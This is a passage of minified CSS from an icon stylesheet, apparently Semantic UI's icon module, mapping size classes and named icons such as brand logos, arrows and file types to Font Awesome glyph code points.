1em}i.large.icon,i.large.icons{line-height:1;vertical-align:middle;font-size:1.5em}i.big.icon,i.big.icons{line-height:1;vertical-align:middle;font-size:2em}i.huge.icon,i.huge.icons{line-height:1;vertical-align:middle;font-size:4em}i.massive.icon,i.massive.icons{line-height:1;vertical-align:middle;font-size:8em}i.icons{display:inline-block;position:relative;line-height:1}i.icons .icon{position:absolute;top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);margin:0;margin:0}i.icons .icon:first-child{position:static;width:auto;height:auto;vertical-align:top;-webkit-transform:none;transform:none;margin-right:.25rem}i.icons .corner.icon{top:auto;left:auto;right:0;bottom:0;-webkit-transform:none;transform:none;font-size:.45em;text-shadow:-1px -1px 0 #fff,1px -1px 0 #fff,-1px 1px 0 #fff,1px 1px 0 #fff}i.icons .top.right.corner.icon{top:0;left:auto;right:0;bottom:auto}i.icons .top.left.corner.icon{top:0;left:0;right:auto;bottom:auto}i.icons .bottom.left.corner.icon{top:auto;left:0;right:auto;bottom:0}i.icons .bottom.right.corner.icon{top:auto;left:auto;right:0;bottom:0}i.icons .inverted.corner.icon{text-shadow:-1px -1px 0 #1b1c1d,1px -1px 0 #1b1c1d,-1px 1px 0 #1b1c1d,1px 1px 0 #1b1c1d}i.icon.linkedin.in:before{content:"\f0e1"}i.icon.zoom.in:before{content:"\f00e"}i.icon.zoom.out:before{content:"\f010"}i.icon.sign.in:before{content:"\f2f6"}i.icon.in.cart:before{content:"\f218"}i.icon.log.out:before{content:"\f2f5"}i.icon.sign.out:before{content:"\f2f5"}i.icon.\35 00px:before{content:"\f26e"}i.icon.accessible.icon:before{content:"\f368"}i.icon.accusoft:before{content:"\f369"}i.icon.address.book:before{content:"\f2b9"}i.icon.address.card:before{content:"\f2bb"}i.icon.adjust:before{content:"\f042"}i.icon.adn:before{content:"\f170"}i.icon.adversal:before{content:"\f36a"}i.icon.affiliatetheme:before{content:"\f36b"}i.icon.algolia:before{content:"\f36c"}i.icon.align.center:before{content:"\f037"}i.icon.align.justify:before{content:"\f039"}i.icon.align.left:before{content:"\f036"}i.icon.align.right:before{content:"\f038"}i.icon.amazon:before{content:"\f270"}i.icon.amazon.pay:before{content:"\f42c"}i.icon.ambulance:before{content:"\f0f9"}i.icon.american.sign.language.interpreting:before{content:"\f2a3"}i.icon.amilia:before{content:"\f36d"}i.icon.anchor:before{content:"\f13d"}i.icon.android:before{content:"\f17b"}i.icon.angellist:before{content:"\f209"}i.icon.angle.double.down:before{content:"\f103"}i.icon.angle.double.left:before{content:"\f100"}i.icon.angle.double.right:before{content:"\f101"}i.icon.angle.double.up:before{content:"\f102"}i.icon.angle.down:before{content:"\f107"}i.icon.angle.left:before{content:"\f104"}i.icon.angle.right:before{content:"\f105"}i.icon.angle.up:before{content:"\f106"}i.icon.angrycreative:before{content:"\f36e"}i.icon.angular:before{content:"\f420"}i.icon.app.store:before{content:"\f36f"}i.icon.app.store.ios:before{content:"\f370"}i.icon.apper:before{content:"\f371"}i.icon.apple:before{content:"\f179"}i.icon.apple.pay:before{content:"\f415"}i.icon.archive:before{content:"\f187"}i.icon.arrow.alternate.circle.down:before{content:"\f358"}i.icon.arrow.alternate.circle.left:before{content:"\f359"}i.icon.arrow.alternate.circle.right:before{content:"\f35a"}i.icon.arrow.alternate.circle.up:before{content:"\f35b"}i.icon.arrow.circle.down:before{content:"\f0ab"}i.icon.arrow.circle.left:before{content:"\f0a8"}i.icon.arrow.circle.right:before{content:"\f0a9"}i.icon.arrow.circle.up:before{content:"\f0aa"}i.icon.arrow.down:before{content:"\f063"}i.icon.arrow.left:before{content:"\f060"}i.icon.arrow.right:before{content:"\f061"}i.icon.arrow.up:before{content:"\f062"}i.icon.arrows.alternate:before{content:"\f0b2"}i.icon.arrows.alternate.horizontal:before{content:"\f337"}i.icon.arrows.alternate.vertical:before{content:"\f338"}i.icon.assistive.listening.systems:before{content:"\f2a2"}i.icon.asterisk:before{content:"\f069"}i.icon.asymmetrik:before{content:"\f372"}i.icon.at:before{content:"\f1fa"}i.icon.audible:before{content:"\f373"}i.icon.audio.description:before{content:"\f29e"}i.icon.autoprefixer:before{content:"\f41c"}i.icon.avianex:before{content:"\f374"}i.icon.aviato:before{content:"\f421"}i.icon.aws:before{content:"\f375"}i.icon.backward:before{content:"\f04a"}i.icon.balance.scale:before{content:"\f24e"}i.icon.ban:before{content:"\f05e"}i.icon.band.aid:before{content:"\f462"}i.icon.bandcamp:before{content:"\f2d5"}i.icon.barcode:before{content:"\f02a"}i.icon.bars:before{content:"\f0c9"}i.icon.baseball.ball:before{content:"\f433"}i.icon.basketball.ball:before{content:"\f434"}i.icon.bath:before{content:"\f2cd"}i.icon.battery.empty:before{content:"\f244"}i.icon.battery.full:before{content:"\f240"}i.icon.battery.half:before{content:"\f242"}i.icon.battery.quarter:before{content:"\f243"}i.icon.battery.three.quarters:before{content:"\f241"}i.icon.bed:before{content:"\f236"}i.icon.beer:before{content:"\f0fc"}i.icon.behance:before{content:"\f1b4"}i.icon.behance.square:before{content:"\f1b5"}i.icon.bell:before{content:"\f0f3"}i.icon.bell.slash:before{content:"\f1f6"}i.icon.bicycle:before{content:"\f206"}i.icon.bimobject:before{content:"\f378"}i.icon.binoculars:before{content:"\f1e5"}i.icon.birthday.cake:before{content:"\f1fd"}i.icon.bitbucket:before{content:"\f171"}i.icon.bitcoin:before{content:"\f379"}i.icon.bity:before{content:"\f37a"}i.icon.black.tie:before{content:"\f27e"}i.icon.blackberry:before{content:"\f37b"}i.icon.blind:before{content:"\f29d"}i.icon.blogger:before{content:"\f37c"}i.icon.blogger.b:before{content:"\f37d"}i.icon.bluetooth:before{content:"\f293"}i.icon.bluetooth.b:before{content:"\f294"}i.icon.bold:before{content:"\f032"}i.icon.bolt:before{content:"\f0e7"}i.icon.bomb:before{content:"\f1e2"}i.icon.book:before{content:"\f02d"}i.icon.bookmark:before{content:"\f02e"}i.icon.bowling.ball:before{content:"\f436"}i.icon.box:before{content:"\f466"}i.icon.boxes:before{content:"\f468"}i.icon.braille:before{content:"\f2a1"}i.icon.briefcase:before{content:"\f0b1"}i.icon.btc:before{content:"\f15a"}i.icon.bug:before{content:"\f188"}i.icon.building:before{content:"\f1ad"}i.icon.bullhorn:before{content:"\f0a1"}i.icon.bullseye:before{content:"\f140"}i.icon.buromobelexperte:before{content:"\f37f"}i.icon.bus:before{content:"\f207"}i.icon.buysellads:before{content:"\f20d"}i.icon.calculator:before{content:"\f1ec"}i.icon.calendar:before{content:"\f133"}i.icon.calendar.alternate:before{content:"\f073"}i.icon.calendar.check:before{content:"\f274"}i.icon.calendar.minus:before{content:"\f272"}i.icon.calendar.plus:before{content:"\f271"}i.icon.calendar.times:before{content:"\f273"}i.icon.camera:before{content:"\f030"}i.icon.camera.retro:before{content:"\f083"}i.icon.car:before{content:"\f1b9"}i.icon.caret.down:before{content:"\f0d7"}i.icon.caret.left:before{content:"\f0d9"}i.icon.caret.right:before{content:"\f0da"}i.icon.caret.square.down:before{content:"\f150"}i.icon.caret.square.left:before{content:"\f191"}i.icon.caret.square.right:before{content:"\f152"}i.icon.caret.square.up:before{content:"\f151"}i.icon.caret.up:before{content:"\f0d8"}i.icon.cart.arrow.down:before{content:"\f218"}i.icon.cart.plus:before{content:"\f217"}i.icon.cc.amazon.pay:before{content:"\f42d"}i.icon.cc.amex:before{content:"\f1f3"}i.icon.cc.apple.pay:before{content:"\f416"}i.icon.cc.diners.club:before{content:"\f24c"}i.icon.cc.discover:before{content:"\f1f2"}i.icon.cc.jcb:before{content:"\f24b"}i.icon.cc.mastercard:before{content:"\f1f1"}i.icon.cc.paypal:before{content:"\f1f4"}i.icon.cc.stripe:before{content:"\f1f5"}i.icon.cc.visa:before{content:"\f1f0"}i.icon.centercode:before{content:"\f380"}i.icon.certificate:before{content:"\f0a3"}i.icon.chart.area:before{content:"\f1fe"}i.icon.chart.bar:before{content:"\f080"}i.icon.chart.line:before{content:"\f201"}i.icon.chart.pie:before{content:"\f200"}i.icon.check:before{content:"\f00c"}i.icon.check.circle:before{content:"\f058"}i.icon.check.square:before{content:"\f14a"}i.icon.chess:before{content:"\f439"}i.icon.chess.bishop:before{content:"\f43a"}i.icon.chess.board:before{content:"\f43c"}i.icon.chess.king:before{content:"\f43f"}i.icon.chess.knight:before{content:"\f441"}i.icon.chess.pawn:before{content:"\f443"}i.icon.chess.queen:before{content:"\f445"}i.icon.chess.rook:before{content:"\f447"}i.icon.chevron.circle.down:before{content:"\f13a"}i.icon.chevron.circle.left:before{content:"\f137"}i.icon.chevron.circle.right:before{content:"\f138"}i.icon.chevron.circle.up:before{content:"\f139"}i.icon.chevron.down:before{content:"\f078"}i.icon.chevron.left:before{content:"\f053"}i.icon.chevron.right:before{content:"\f054"}i.icon.chevron.up:before{content:"\f077"}i.icon.child:before{content:"\f1ae"}i.icon.chrome:before{content:"\f268"}i.icon.circle:before{content:"\f111"}i.icon.circle.notch:before{content:"\f1ce"}i.icon.clipboard:before{content:"\f328"}i.icon.clipboard.check:before{content:"\f46c"}i.icon.clipboard.list:before{content:"\f46d"}i.icon.clock:before{content:"\f017"}i.icon.clone:before{content:"\f24d"}i.icon.closed.captioning:before{content:"\f20a"}i.icon.cloud:before{content:"\f0c2"}i.icon.cloudscale:before{content:"\f383"}i.icon.cloudsmith:before{content:"\f384"}i.icon.cloudversify:before{content:"\f385"}i.icon.code:before{content:"\f121"}i.icon.code.branch:before{content:"\f126"}i.icon.codepen:before{content:"\f1cb"}i.icon.codiepie:before{content:"\f284"}i.icon.coffee:before{content:"\f0f4"}i.icon.cog:before{content:"\f013"}i.icon.cogs:before{content:"\f085"}i.icon.columns:before{content:"\f0db"}i.icon.comment:before{content:"\f075"}i.icon.comment.alternate:before{content:"\f27a"}i.icon.comments:before{content:"\f086"}i.icon.compass:before{content:"\f14e"}i.icon.compress:before{content:"\f066"}i.icon.connectdevelop:before{content:"\f20e"}i.icon.contao:before{content:"\f26d"}i.icon.copy:before{content:"\f0c5"}i.icon.copyright:before{content:"\f1f9"}i.icon.cpanel:before{content:"\f388"}i.icon.creative.commons:before{content:"\f25e"}i.icon.credit.card:before{content:"\f09d"}i.icon.crop:before{content:"\f125"}i.icon.crosshairs:before{content:"\f05b"}i.icon.css3:before{content:"\f13c"}i.icon.css3.alternate:before{content:"\f38b"}i.icon.cube:before{content:"\f1b2"}i.icon.cubes:before{content:"\f1b3"}i.icon.cut:before{content:"\f0c4"}i.icon.cuttlefish:before{content:"\f38c"}i.icon.d.and.d:before{content:"\f38d"}i.icon.dashcube:before{content:"\f210"}i.icon.database:before{content:"\f1c0"}i.icon.deaf:before{content:"\f2a4"}i.icon.delicious:before{content:"\f1a5"}i.icon.deploydog:before{content:"\f38e"}i.icon.deskpro:before{content:"\f38f"}i.icon.desktop:before{content:"\f108"}i.icon.deviantart:before{content:"\f1bd"}i.icon.digg:before{content:"\f1a6"}i.icon.digital.ocean:before{content:"\f391"}i.icon.discord:before{content:"\f392"}i.icon.discourse:before{content:"\f393"}i.icon.dna:before{content:"\f471"}i.icon.dochub:before{content:"\f394"}i.icon.docker:before{content:"\f395"}i.icon.dollar.sign:before{content:"\f155"}i.icon.dolly:before{content:"\f472"}i.icon.dolly.flatbed:before{content:"\f474"}i.icon.dot.circle:before{content:"\f192"}i.icon.download:before{content:"\f019"}i.icon.draft2digital:before{content:"\f396"}i.icon.dribbble:before{content:"\f17d"}i.icon.dribbble.square:before{content:"\f397"}i.icon.dropbox:before{content:"\f16b"}i.icon.drupal:before{content:"\f1a9"}i.icon.dyalog:before{content:"\f399"}i.icon.earlybirds:before{content:"\f39a"}i.icon.edge:before{content:"\f282"}i.icon.edit:before{content:"\f044"}i.icon.eject:before{content:"\f052"}i.icon.elementor:before{content:"\f430"}i.icon.ellipsis.horizontal:before{content:"\f141"}i.icon.ellipsis.vertical:before{content:"\f142"}i.icon.ember:before{content:"\f423"}i.icon.empire:before{content:"\f1d1"}i.icon.envelope:before{content:"\f0e0"}i.icon.envelope.open:before{content:"\f2b6"}i.icon.envelope.square:before{content:"\f199"}i.icon.envira:before{content:"\f299"}i.icon.eraser:before{content:"\f12d"}i.icon.erlang:before{content:"\f39d"}i.icon.ethereum:before{content:"\f42e"}i.icon.etsy:before{content:"\f2d7"}i.icon.euro.sign:before{content:"\f153"}i.icon.exchange.alternate:before{content:"\f362"}i.icon.exclamation:before{content:"\f12a"}i.icon.exclamation.circle:before{content:"\f06a"}i.icon.exclamation.triangle:before{content:"\f071"}i.icon.expand:before{content:"\f065"}i.icon.expand.arrows.alternate:before{content:"\f31e"}i.icon.expeditedssl:before{content:"\f23e"}i.icon.external.alternate:before{content:"\f35d"}i.icon.external.square.alternate:before{content:"\f360"}i.icon.eye:before{content:"\f06e"}i.icon.eye.dropper:before{content:"\f1fb"}i.icon.eye.slash:before{content:"\f070"}i.icon.facebook:before{content:"\f09a"}i.icon.facebook.f:before{content:"\f39e"}i.icon.facebook.messenger:before{content:"\f39f"}i.icon.facebook.square:before{content:"\f082"}i.icon.fast.backward:before{content:"\f049"}i.icon.fast.forward:before{content:"\f050"}i.icon.fax:before{content:"\f1ac"}i.icon.female:before{content:"\f182"}i.icon.fighter.jet:before{content:"\f0fb"}i.icon.file:before{content:"\f15b"}i.icon.file.alternate:before{content:"\f15c"}i.icon.file.archive:before{content:"\f1c6"}i.icon.file.audio:before{content:"\f1c7"}i.icon.file.code:before{content:"\f1c9"}i.icon.file.excel:before{content:"\f1c3"}i.icon.file.image:before{content:"\f1c5"}i.icon.file.pdf:before{content:"\f1c1"}i.icon.file.powerpoint:before{content:"\f1c4"}i.icon.file.video:before{content:"\f1c8"}i.icon.file.word:before{content:"\f1c2"}i.icon.film:before{content:"\f008"}i.icon.filter:before{content:"\f0b0"}i.icon.fire:before{content:"\f06d"}i.icon.fire.extinguisher:before{content:"\f134"}i.icon.firefox:before{content:"\f269"}i.icon.first.aid:before{content:"\f479"}i.icon.first.order:before{content:"\f2b0"}i.icon.firstdraft:before{content:"\f3a1"}i.icon.flag:before{content:"\f024"}i.icon.flag.checkered:before{content:"\f11e"}i.icon.flask:before{content:"\f0c3"}i.icon.flickr:before{content:"\f16e"}i.icon.flipboard:before{content:"\f44d"}i.icon.fly:before{content:"\f417"}i.icon.folder:before{content:"\f07b"}i.icon.folder.open:before{content:"\f07c"}i.icon.font:before{content:"\f031"}i.icon.font.awesome:before{content:"\f2b4"}i.icon.font.awesome.alternate:before{content:"\f35c"}i.icon.font.awesome.flag:before{content:"\f425"}i.icon.fonticons:before{content:"\f280"}i.icon.fonticons.fi:before{content:"\f3a2"}i.icon.football.ball:before{content:"\f44e"}i.icon.fort.awesome:before{content:"\f286"}i.icon.fort.awesome.alternate:before{content:"\f3a3"}i.icon.forumbee:before{content:"\f211"}i.icon.forward:before{content:"\f04e"}i.icon.foursquare:before{content:"\f180"}i.icon.free.code.camp:before{content:"\f2c5"}i.icon.freebsd:before{content:"\f3a4"}i.icon.frown:before{content:"\f119"}i.icon.futbol:before{content:"\f1e3"}i.icon.gamepad:before{content:"\f11b"}i.icon.gavel:before{content:"\f0e3"}i.icon.gem:before{content:"\f3a5"}i.icon.genderless:before{content:"\f22d"}i.icon.get.pocket:before{content:"\f265"}i.icon.gg:before{content:"\f260"}i.icon.gg.circle:before{content:"\f261"}i.icon.gift:before{content:"\f06b"}i.icon.git:before{content:"\f1d3"}i.icon.git.square:before{content:"\f1d2"}i.icon.github:before{content:"\f09b"}i.icon.github.alternate:before{content:"\f113"}i.icon.github.square:before{content:"\f092"}i.icon.gitkraken:before{content:"\f3a6"}i.icon.gitlab:before{content:"\f296"}i.icon.gitter:before{content:"\f426"}i.icon.glass.martini:before{content:"\f000"}i.icon.glide:before{content:"\f2a5"}i.icon.glide.g:before{content:"\f2a6"}i.icon.globe:before{content:"\f0ac"}i.icon.gofore:before{content:"\f3a7"}i.icon.golf.ball:before{content:"\f450"}i.icon.goodreads:before{content:"\f3a8"}i.icon.goodreads.g:before{content:"\f3a9"}i.icon.google:before{content:"\f1a0"}i.icon.google.drive:before{content:"\f3aa"}i.icon.google.play:before{content:"\f3ab"}i.icon.google.plus:before{content:"\f2b3"}i.icon.google.plus.g:before{content:"\f0d5"}i.icon.google.plus.square:before{content:"\f0d4"}i.icon.google.wallet:before{content:"\f1ee"}i.icon.graduation.cap:before{content:"\f19d"}i.icon.gratipay:before{content:"\f184"}i.icon.grav:before{content:"\f2d6"}i.icon.gripfire:before{content:"\f3ac"}i.icon.grunt:before{content:"\f3ad"}i.icon.gulp:before{content:"\f3ae"}i.icon.h.square:before{content:"\f0fd"}i.icon.hacker.news:before{content:"\f1d4"}i.icon.hacker.news.square:before{content:"\f3af"}i.icon.hand.lizard:before{content:"\f258"}i.icon.hand.paper:before{content:"\f256"}i.icon.hand.peace:before{content:"\f25b"}i.icon.hand.point.down:before{content:"\f0a7"}i.icon.hand.point.left:before{content:"\f0a5"}i.icon.hand.point.right:before{content:"\f0a4"}i.icon.hand.point.up:before{content:"\f0a6"}i.icon.hand.pointer:before{content:"\f25a"}i.icon.hand.rock:before{content:"\f255"}i.icon.hand.scissors:before{content:"\f257"}i.icon.hand.spock:before{content:"\f259"}i.icon.handshake:before{content:"\f2b5"}i.icon.hashtag:before{content:"\f292"}i.icon.hdd:before{content:"\f0a0"}i.icon.heading:before{content:"\f1dc"}i.icon.headphones:before{content:"\f025"}i.icon.heart:before{content:"\f004"}i.icon.heartbeat:before{content:"\f21e"}i.icon.hips:before{content:"\f452"}i.icon.hire.a.helper:before{content:"\f3b0"}i.icon.history:before{content:"\f1da"}i.icon.hockey.puck:before{content:"\f453"}i.icon.home:before{content:"\f015"}i.icon.hooli:before{content:"\f427"}i.icon.hospital:before{content:"\f0f8"}i.icon.hospital.symbol:before{content:"\f47e"}i.icon.hotjar:before{content:"\f3b1"}i.icon.hourglass:before{content:"\f254"}i.icon.hourglass.end:before{content:"\f253"}i.icon.hourglass.half:before{content:"\f252"}i.icon.hourglass.start:before{content:"\f251"}i.icon.houzz:before{content:"\f27c"}i.icon.html5:before{content:"\f13b"}i.icon.hubspot:before{content:"\f3b2"}i.icon.i.cursor:before{content:"\f246"}i.icon.id.badge:before{content:"\f2c1"}i.icon.id.card:before{content:"\f2c2"}i.icon.image:before{content:"\f03e"}i.icon.images:before{content:"\f302"}i.icon.imdb:before{content:"\f2d8"}i.icon.inbox:before{content:"\f01c"}i.icon.indent:before{content:"\f03c"}i.icon.industry:before{content:"\f275"}i.icon.info:before{content:"\f129"}i.icon.info.circle:before{content:"\f05a"}i.icon.instagram:before{content:"\f16d"}i.icon.internet.explorer:before{content:"\f26b"}i.icon.ioxhost:before{content:"\f208"}i.icon.italic:before{content:"\f033"}i.icon.itunes:before{content:"\f3b4"}i.icon.itunes.note:before{content:"\f3b5"}i.icon.jenkins:before{content:"\f3b6"}i.icon.joget:before{content:"\f3b7"}i.icon.joomla:before{content:"\f1aa"}i.icon.js:before{content:"\f3b8"}i.icon.js.square:before{content:"\f3b9"}i.icon.jsfiddle:before{content:"\f1cc"}i.icon.key:before{content:"\f084"}i.icon.keyboard:before{content:"\f11c"}i.icon.keycdn:before{content:"\f3ba"}i.icon.kickstarter:before{content:"\f3bb"}i.icon.kickstarter.k:before{content:"\f3bc"}i.icon.korvue:before{content:"\f42f"}i.icon.language:before{content:"\f1ab"}i.icon.laptop:before{content:"\f109"}i.icon.laravel:before{content:"\f3bd"}i.icon.lastfm:before{content:"\f202"}i.icon.lastfm.square:before{content:"\f203"}i.icon.leaf:before{content:"\f06c"}i.icon.leanpub:before{content:"\f212"}i.icon.lemon:before{content:"\f094"}i.icon.less:before{content:"\f41d"}i.icon.level.down.alternate:before{content:"\f3be"}i.icon.level.up.alternate:before{content:"\f3bf"}i.icon.life.ring:before{content:"\f1cd"}i.icon.lightbulb:before{content:"\f0eb"}i.icon.linechat:before{content:"\f3c0"}i.icon.linkify:before{content:"\f0c1"}i.icon.linkedin:before{content:"\f08c"}i.icon.linkedin.alt:before{content:"\f0e1"}i.icon.linode:before{content:"\f2b8"}i.icon.linux:before{content:"\f17c"}i.icon.lira.sign:before{content:"\f195"}i.icon.list:before{content:"\f03a"}i.icon.list.alternate:before{content:"\f022"}i.icon.list.ol:before{content:"\f0cb"}i.icon.list.ul:before{content:"\f0ca"}i.icon.location.arrow:before{content:"\f124"}i.icon.lock:before{content:"\f023"}i.icon.lock.open:before{content:"\f3c1"}i.icon.long.arrow.alternate.down:before{content:"\f309"}i.icon.long.arrow.alternate.left:before{content:"\f30a"}i.icon.long.arrow.alternate.right:before{content:"\f30b"}i.icon.long.arrow.alternate.up:before{content:"\f30c"}i.icon.low.vision:before{content:"\f2a8"}i.icon.lyft:before{content:"\f3c3"}i.icon.magento:before{content:"\f3c4"}i.icon.magic:before{content:"\f0d0"}i.icon.magnet:before{content:"\f076"}i.icon.male:before{content:"\f183"}i.icon.map:before{content:"\f279"}i.icon.map.marker:before{content:"\f041"}i.icon.map.marker.alternate:before{content:"\f3c5"}i.icon.map.pin:before{content:"\f276"}i.icon.map.signs:before{content:"\f277"}i.icon.mars:before{content:"\f222"}i.icon.mars.double:before{content:"\f227"}i.icon.mars.stroke:before{content:"\f229"}i.icon.mars.stroke.horizontal:before{content:"\f22b"}i.icon.mars.stroke.vertical:before{content:"\f22a"}i.icon.maxcdn:before{content:"\f136"}i.icon.medapps:before{content:"\f3c6"}i.icon.medium:before{content:"\f23a"}i.icon.medium.m:before{content:"\f3c7"}i.icon.medkit:before{content:"\f0fa"}i.icon.medrt:before{content:"\f3c8"}i.icon.meetup:before{content:"\f2e0"}i.icon.meh:before{content:"\f11a"}i.icon.mercury:before{content:"\f223"}i.icon.microchip:before{content:"\f2db"}i.icon.microphone:before{content:"\f130"}i.icon.microphone.slash:before{content:"\f131"}i.icon.microsoft:before{content:"\f3ca"}i.icon.minus:before{content:"\f068"}i.icon.minus.circle:before{content:"\f056"}i.icon.minus.square:before{content:"\f146"}i.icon.mix:before{content:"\f3cb"}i.icon.mixcloud:before{content:"\f289"}i.icon.mizuni:before{content:"\f3cc"}i.icon.mobile:before{content:"\f10b"}i.icon.mobile.alternate:before{content:"\f3cd"}i.icon.modx:before{content:"\f285"}i.icon.monero:before{content:"\f3d0"}i.icon.money.bill.alternate:before{content:"\f3d1"}i.icon.moon:before{content:"\f186"}i.icon.motorcycle:before{content:"\f21c"}i.icon.mouse.pointer:before{content:"\f245"}i.icon.music:before{content:"\f001"}i.icon.napster:before{content:"\f3d2"}i.icon.neuter:before{content:"\f22c"}i.icon.newspaper:before{content:"\f1ea"}i.icon.nintendo.switch:before{content:"\f418"}i.icon.node:before{content:"\f419"}i.icon.node.js:before{content:"\f3d3"}i.icon.npm:before{content:"\f3d4"}i.icon.ns8:before{content:"\f3d5"}i.icon.nutritionix:before{content:"\f3d6"}i.icon.object.group:before{content:"\f247"}i.icon.object.ungroup:before{content:"\f248"}i.icon.odnoklassniki:before{content:"\f263"}i.icon.odnoklassniki.square:before{content:"\f264"}i.icon.opencart:before{content:"\f23d"}i.icon.openid:before{content:"\f19b"}i.icon.opera:before{content:"\f26a"}i.icon.optin.monster:before{content:"\f23c"}i.icon.osi:before{content:"\f41a"}i.icon.outdent:before{content:"\f03b"}i.icon.page4:before{content:"\f3d7"}i.icon.pagelines:before{content:"\f18c"}i.icon.paint.brush:before{content:"\f1fc"}i.icon.palfed:before{content:"\f3d8"}i.icon.pallet:before{content:"\f482"}i.icon.paper.plane:before{content:"\f1d8"}i.icon.paperclip:before{content:"\f0c6"}i.icon.paragraph:before{content:"\f1dd"}i.icon.paste:before{content:"\f0ea"}i.icon.patreon:before{content:"\f3d9"}i.icon.pause:before{content:"\f04c"}i.icon.pause.circle:before{content:"\f28b"}i.icon.paw:before{content:"\f1b0"}i.icon.paypal:before{content:"\f1ed"}i.icon.pen.square:before{content:"\f14b"}i.icon.pencil.alternate:before{content:"\f303"}i.icon.percent:before{content:"\f295"}i.icon.periscope:before{content:"\f3da"}i.icon.phabricator:before{content:"\f3db"}i.icon.phoenix.framework:before{content:"\f3dc"}i.icon.phone:before{content:"\f095"}i.icon.phone.square:before{content:"\f098"}i.icon.phone.volume:before{content:"\f2a0"}i.icon.php:before{content:"\f457"}i.icon.pied.piper:before{content:"\f2ae"}i.icon.pied.piper.alternate:before{content:"\f1a8"}i.icon.pied.piper.pp:before{content:"\f1a7"}i.icon.pills:before{content:"\f484"}i.icon.pinterest:before{content:"\f0d2"}i.icon.pinterest.p:before{content:"\f231"}i.icon.pinterest.square:before{content:"\f0d3"}i.icon.plane:before{content:"\f072"}i.icon.play:before{content:"\f04b"}i.icon.play.circle:before{content:"\f144"}i.icon.playstation:before{content:"\f3df"}i.icon.plug:before{content:"\f1e6"}i.icon.plus:before{content:"\f067"}i.icon.plus.circle:before{content:"\f055"}i.icon.plus.square:before{content:"\f0fe"}i.icon.podcast:before{content:"\f2ce"}i.icon.pound.sign:before{content:"\f154"}i.icon.power.off:before{content:"\f011"}i.icon.print:before{content:"\f02f"}i.icon.product.hunt:before{content:"\f288"}i.icon.pushed:before{content:"\f3e1"}i.icon.puzzle.piece:before{content:"\f12e"}i.icon.python:before{content:"\f3e2"}i.icon.qq:before{content:"\f1d6"}i.icon.qrcode:before{content:"\f029"}i.icon.question:before{content:"\f128"}i.icon.question.circle:before{content:"\f059"}i.icon.quidditch:before{content:"\f458"}i.icon.quinscape:before{content:"\f459"}i.icon.quora:before{content:"\f2c4"}i.icon.quote.left:before{content:"\f10d"}i.icon.quote.right:before{content:"\f10e"}i.icon.random:before{content:"\f074"}i.icon.ravelry:before{content:"\f2d9"}i.icon.react:before{content:"\f41b"}i.icon.rebel:before{content:"\f1d0"}i.icon.recycle:before{content:"\f1b8"}i.icon.redriver:before{content:"\f3e3"}i.icon.reddit:before{content:"\f1a1"}i.icon.reddit.alien:before{content:"\f281"}i.icon.reddit.square:before{content:"\f1a2"}i.icon.redo:before{content:"\f01e"}i.icon.redo.alternate:before{content:"\f2f9"}i.icon.registered:before{content:"\f25d"}i.icon.rendact:before{content:"\f3e4"}i.icon.renren:before{content:"\f18b"}i.icon.reply:before{content:"\f3e5"}i.icon.reply.all:before{content:"\f122"}i.icon.replyd:before{content:"\f3e6"}i.icon.resolving:before{content:"\f3e7"}i.icon.retweet:before{content:"\f079"}i.icon.road:before{content:"\f018"}i.icon.rocket:before{content:"\f135"}i.icon.rocketchat:before{content:"\f3e8"}i.icon.rockrms:before{content:"\f3e9"}i.icon.rss:before{content:"\f09e"}i.icon.rss.square:before{content:"\f143"}i.icon.ruble.sign:before{content:"\f158"}i.icon.rupee.sign:before{content:"\f156"}i.icon.safari:before{content:"\f267"}i.icon.sass:before{content:"\f41e"}i.icon.save:before{content:"\f0c7"}i.icon.schlix:before{content:"\f3ea"}i.icon.scribd:before{content:"\f28a"}i.icon.search:before{content:"\f002"}i.icon.search.minus:before{content:"\f010"}i.icon.search.plus:before{content:"\f00e"}i.icon.searchengin:before{content:"\f3eb"}i.icon.sellcast:before{content:"\f2da"}i.icon.sellsy:before{content:"\f213"}i.icon.server:before{content:"\f233"}i.icon.servicestack:before{content:"\f3ec"}i.icon.share:before{content:"\f064"}i.icon.share.alternate:before{content:"\f1e0"}i.icon.share.alternate.square:before{content:"\f1e1"}i.icon.share.square:before{content:"\f14d"}i.icon.shekel.sign:before{content:"\f20b"}i.icon.shield.alternate:before{content:"\f3ed"}i.icon.ship:before{content:"\f21a"}i.icon.shipping.fast:before{content:"\f48b"}i.icon.shirtsinbulk:before{content:"\f214"}i.icon.shopping.bag:before{content:"\f290"}i.icon.shopping.basket:before{content:"\f291"}i.icon.shopping.cart:before{content:"\f07a"}i.icon.shower:before{content:"\f2cc"}i.icon.sign.language:before{content:"\f2a7"}i.icon.signal:before{content:"\f012"}i.icon.simplybuilt:before{content:"\f215"}i.icon.sistrix:before{content:"\f3ee"}i.icon.sitemap:before{content:"\f0e8"}i.icon.skyatlas:before{content:"\f216"}i.icon.skype:before{content:"\f17e"}i.icon.slack:before{content:"\f198"}i.icon.slack.hash:before{content:"\f3ef"}i.icon.sliders.horizontal:before{content:"\f1de"}i.icon.slideshare:before{content:"\f1e7"}i.icon.smile:before{content:"\f118"}i.icon.snapchat:before{content:"\f2ab"}i.icon.snapchat.ghost:before{content:"\f2ac"}i.icon.snapchat.square:before{content:"\f2ad"}i.icon.snowflake:before{content:"\f2dc"}i.icon.sort:before{content:"\f0dc"}i.icon.sort.alphabet.down:before{content:"\f15d"}i.icon.sort.alphabet.up:before{content:"\f15e"}i.icon.sort.amount.down:before{content:"\f160"}i.icon.sort.amount.up:before{content:"\f161"}i.icon.sort.down:before{content:"\f0dd"}i.icon.sort.numeric.down:before{content:"\f162"}i.icon.sort.numeric.up:before{content:"\f163"}i.icon.sort.up:before{content:"\f0de"}i.icon.soundcloud:before{content:"\f1be"}i.icon.space.shuttle:before{content:"\f197"}i.icon.speakap:before{content:"\f3f3"}i.icon.spinner:before{content:"\f110"}i.icon.spotify:before{content:"\f1bc"}i.icon.square:before{content:"\f0c8"}i.icon.square.full:before{content:"\f45c"}i.icon.stack.exchange:before{content:"\f18d"}i.icon.stack.overflow:before{content:"\f16c"}i.icon.star:before{content:"\f005"}i.icon.star.half:before{content:"\f089"}i.icon.staylinked:before{content:"\f3f5"}i.icon.steam:before{content:"\f1b6"}i.icon.steam.square:before{content:"\f1b7"}i.icon.steam.symbol:before{content:"\f3f6"}i.icon.step.backward:before{content:"\f048"}i.icon.step.forward:before{content:"\f051"}i.icon.stethoscope:before{content:"\f0f1"}i.icon.sticker.mule:before{content:"\f3f7"}i.icon.sticky.note:before{content:"\f249"}i.icon.stop:before{content:"\f04d"